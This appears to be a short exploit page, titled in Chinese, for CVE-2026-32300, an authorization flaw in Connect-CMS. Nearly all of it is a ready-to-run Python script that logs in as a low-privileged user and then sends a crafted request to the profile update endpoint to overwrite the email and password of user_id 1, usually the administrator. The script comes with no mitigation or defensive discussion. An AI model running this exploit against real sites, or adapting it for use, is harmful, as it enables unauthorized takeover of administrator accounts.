CVE-2026-32300 Connect-CMS越权修改用户信息漏洞

import requests # Target configuration target_url = "http://target.com" login_endpoint = "/index.php?account=login" update_endpoint = "/index.php?account=my_page/update" # Attacker credentials attacker_user = "lowpriv_user" attacker_pass = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate as a low-privileged user login_payload = { "account": attacker_user, "password": attacker_pass } response = session.post(target_url + login_endpoint, data=login_payload) if response.status_code != 200: print("[!] Login failed") exit() print("[+] Login successful") # Step 2: Exploit Improper Authorization (IDOR) # The attacker attempts to update the profile of user_id '1' (usually Admin) # by sending a crafted request to the 'My Page' update feature. exploit_payload = { "user_id": "1", # Target user ID to modify "email": "[email protected]", "password": "new_hacked_password" } print(f"[*] Attempting to modify user_id 1 profile...") exploit_response = session.post(target_url + update_endpoint, data=exploit_payload) if exploit_response.status_code == 200 and "success" in exploit_response.text.lower(): print("[+] Exploit successful! Arbitrary user information modified.") else: print("[-] Exploit failed or patch is applied.")